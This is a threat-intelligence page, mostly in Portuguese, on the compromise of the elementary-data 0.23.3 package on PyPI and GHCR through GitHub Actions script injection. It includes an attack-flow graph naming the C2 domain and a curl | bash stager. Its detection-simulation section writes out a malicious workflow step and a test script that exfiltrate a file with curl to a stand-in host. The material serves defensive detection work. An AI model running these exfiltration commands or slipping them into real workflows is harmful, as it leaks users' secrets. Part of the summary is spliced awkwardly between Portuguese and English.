SOC Prime Bias: Crítico

29 Abr 2026 17:42

Dados Elementares Comprometidos no PyPI e GHCR através de Lançamento Falsificado no GitHub

Author Photo
SOC Prime Team linkedin icon Seguir
Dados Elementares Comprometidos no PyPI e GHCR através de Lançamento Falsificado no GitHub
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Uma versão maliciosa do pacote Python elementary-data, versão foi carregada no PyPI, enquanto uma imagem de container comprometida correspondente também foi enviada para o GitHub Container Registry. O invasor inseriu código malicioso em um fluxo de trabalho do GitHub Actions, forjou uma versão assinada e, em seguida, abusou do token de fluxo de trabalho para publicar os artefatos comprometidos. O payload funcionou como um ladrão de credenciais em três estágios projetado para coletar segredos e exfiltrá-los para um domínio controlado pelo atacante. Qualquer ambiente que instalou o pacote afetado ou obteve a imagem de container mais recente foi exposto a comprometimento. 0.23.3, was uploaded to PyPI, while a matching compromised container image was also pushed to GitHub Container Registry. The attacker inserted malicious code into a GitHub Actions workflow, forged a signed release, and then abused the workflow token to publish the backdoored artifacts. The payload functioned as a three-stage credential stealer designed to collect secrets and exfiltrate them to an attacker-controlled domain. Any environment that installed the affected package or pulled the latest container image was exposed to compromise.

Investigação

A investigação descobriu que o ataque começou com um comentário em uma pull request aberta que foi inserido diretamente em um script de fluxo de trabalho, permitindo a injeção de scripts. Usando o GITHUB_TOKEN, o invasor criou um commit de versão forjado e acionou o processo de publicação, que então distribuiu a wheel trojanizada e a imagem Docker. A análise mostrou que um arquivo malicioso .pth decodificou um wrapper Base64, descriptografou o componente final de coleção e colheu um amplo conjunto de credenciais antes de enviá-las para um domínio de comando e controle personalizado através do curl.

Mitigação

Os mantenedores do projeto removeram a versão maliciosa do pacote do PyPI e apagaram a imagem comprometida do GHCR antes de publicar uma substituição limpa, versão 0.23.4. A StepSecurity adicionou a versão maliciosa do pacote e o domínio controlado pelo atacante à lista de bloqueio do Harden-Runner e bloqueou o pacote durante a execução da pull request. Os desenvolvedores devem fixar versões exatas de pacotes e digests de imagens, evitar depender de tags flutuantes e auditar dependências instaladas para .pth arquivos inesperados.

Resposta

Defensores devem buscar pela presença de elementary.pth dentro de site-packages e identificar sistemas que obtiveram o digest de imagem Docker suspeito. Conexões de saída para o domínio de comando e controle conhecido devem ser bloqueadas imediatamente. Equipes de segurança devem escanear estações de trabalho de desenvolvedores e ambientes de construção para materiais secretos expostos, remover qualquer pacote comprometido e rodar credenciais afetadas. Pipelines de CI/CD também devem ser atualizados para validar a procedência dos pacotes e impor a fixação estrita de imagens.

graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[“<b>Ação</b> – <b>T1195.002 Comprometimento da Cadeia de Suprimentos</b><br/>O atacante publica a versão maliciosa 0.23.3 do elementary-data no PyPI e envia uma imagem Docker trojanizada para o GHCR usando o pipeline legítimo de publicação do projeto.”] class node_supply_chain action node_exploit_cred[“<b>Ação</b> – <b>T1212 Exploração para Acesso a Credenciais</b><br/>A injeção de script em um workflow do GitHub Actions via um comentário manipulado executa um stager curl | bash, aproveitando o GITHUB_TOKEN do repositório para criar um commit de release falsificado.”] class node_exploit_cred action node_implant_image[“<b>Ação</b> – <b>T1525 Implantar Imagem Interna</b><br/>A imagem Docker maliciosa (marcada como latest) é baixada e executada, fornecendo um ambiente persistente malicioso.”] class node_implant_image action node_user_exec[“<b>Ação</b> – <b>T1204.003 Execução do Usuário: Imagem Maliciosa</b><br/>Contêineres instanciados a partir da imagem comprometida executam automaticamente o payload na inicialização.”] class node_user_exec action node_cred_files[“<b>Ação</b> – <b>T1552.001 Credenciais Não Seguras: Credenciais em Arquivos</b><br/>O payload coleta chaves privadas SSH, credenciais de provedores de nuvem, configurações de Docker e Kubernetes e outros arquivos secretos.”] class node_cred_files action node_private_keys[“<b>Ação</b> – <b>T1552.004 Credenciais Não Seguras: Chaves Privadas</b><br/>Coleta específica de arquivos de chaves privadas dos diretórios .ssh e carteiras.”] class node_private_keys action node_archive[“<b>Ação</b> – <b>T1560 Arquivar Dados Coletados</b><br/>Os dados coletados são comprimidos em um arquivo tar-gz.”] class node_archive action node_archive_lib[“<b>Ação</b> – <b>T1560.002 Arquivamento via Biblioteca</b><br/>Usa a biblioteca tar para criar trin.tar.gz.”] class node_archive_lib action node_obfusc[“<b>Ação</b> – <b>T1027.015 Arquivos ou Informações Ofuscadas: Compressão</b><br/>O arquivo .pth malicioso é codificado em base64 e criptografado com XOR-MD5 para ocultar o código.”] class node_obfusc action node_pass_hash[“<b>Ação</b> – <b>T1550.002 Uso de Material de Autenticação Alternativo: Pass the Hash</b><br/>O payload utiliza criptografia XOR com fluxo MD5 para ocultar seus estágios.”] class node_pass_hash action node_exfil[“<b>Ação</b> – <b>T1048 Exfiltração por Protocolo Alternativo</b><br/>O arquivo é exfiltrado por meio de um único POST curl para o domínio C2 igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud.”] class node_exfil action %% Node definitions – Tools tool_pypi[“<b>Ferramenta</b> – <b>Nome</b>: PyPI<br/><b>Tipo</b>: Repositório de pacotes Python”] class tool_pypi tool tool_ghcr[“<b>Ferramenta</b> – <b>Nome</b>: GitHub Container Registry (GHCR)<br/><b>Tipo</b>: Registro de imagens Docker”] class tool_ghcr tool tool_github_actions[“<b>Ferramenta</b> – <b>Nome</b>: GitHub Actions<br/><b>Tipo</b>: Motor de CI/CD”] class tool_github_actions tool tool_curl[“<b>Ferramenta</b> – <b>Nome</b>: curl<br/><b>Tipo</b>: Utilitário de linha de comando para transferência de dados”] class tool_curl tool tool_bash[“<b>Ferramenta</b> – <b>Nome</b>: bash<br/><b>Tipo</b>: Interpretador de shell”] class tool_bash tool %% Node definitions – Malware / Payload malware_docker_image[“<b>Malware</b> – <b>Nome</b>: Imagem Docker Maliciosa<br/><b>Tag</b>: latest”] class malware_docker_image malware malware_payload[“<b>Malware</b> – <b>Nome</b>: Arquivo Payload .pth<br/><b>Ofuscação</b>: Base64 + XOR-MD5”] class malware_payload malware %% Connections node_supply_chain –>|publica em| tool_pypi node_supply_chain –>|envia imagem para| tool_ghcr tool_ghcr –>|hospeda| malware_docker_image node_exploit_cred –>|injeta script em| tool_github_actions tool_github_actions –>|executa| tool_curl tool_curl –>|encadeia para| tool_bash tool_bash –>|executa| malware_payload malware_docker_image –>|executado por| node_implant_image node_implant_image –>|aciona| node_user_exec node_user_exec –>|executa| malware_payload malware_payload –>|coleta| node_cred_files node_cred_files –>|também coleta| node_private_keys node_cred_files –>|passado para| node_archive node_archive –>|usa| node_archive_lib node_archive_lib –>|produz| node_obfusc node_obfusc –>|usado por| node_pass_hash node_pass_hash –>|exfiltra via| node_exfil node_exfil –>|usa| tool_curl

Fluxo de Ataque

## Execução da Simulação

Pré-requisito: A Verificação Pré-voo de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa refletem diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos do Ataque:
    Um invasor comprometeu um repositório que usa GitHub Actions para CI/CD. Eles adicionam um passo malicioso ao arquivo de fluxo de trabalho:

    - name: Exfiltrar dados
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Quando o fluxo de trabalho é executado no runner do GitHub Actions, a árvore de processos se parece com:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (processo pai)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (processo filho)

    The auditd registro para o passo 2 contém uma linha de comando com ambos bash and curl --data-binary, satisfazendo a condição Sigma.

  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    #
    # Simula o passo malicioso do GitHub Actions que deve acionar a regra de detecção.
    # Cria um arquivo temporário, escreve dados fictícios, e então exfiltra via curl encapsulado em bash.
    
    set -euo pipefail
    
    # 1. Criar dados secretos fictícios
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "informação_sensível_$(date +%s)" > "$tmpfile"
    
    # 2. Realizar a exfiltração usando o padrão vulnerável
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Confirmação de saída para o testador
    echo "Exfiltração maliciosa simulada; arquivo temporário $tmpfile deve ser excluído pela limpeza."
  • Comandos de Limpeza:

    #!/usr/bin/env bash
    # Remova quaisquer arquivos temporários criados durante a simulação
    rm -f /tmp/secret_data.*
    
    # Opcionalmente, pare quaisquer processos de curl remanescentes (não deve ser necessário)
    pkill -f "curl --data-binary" || true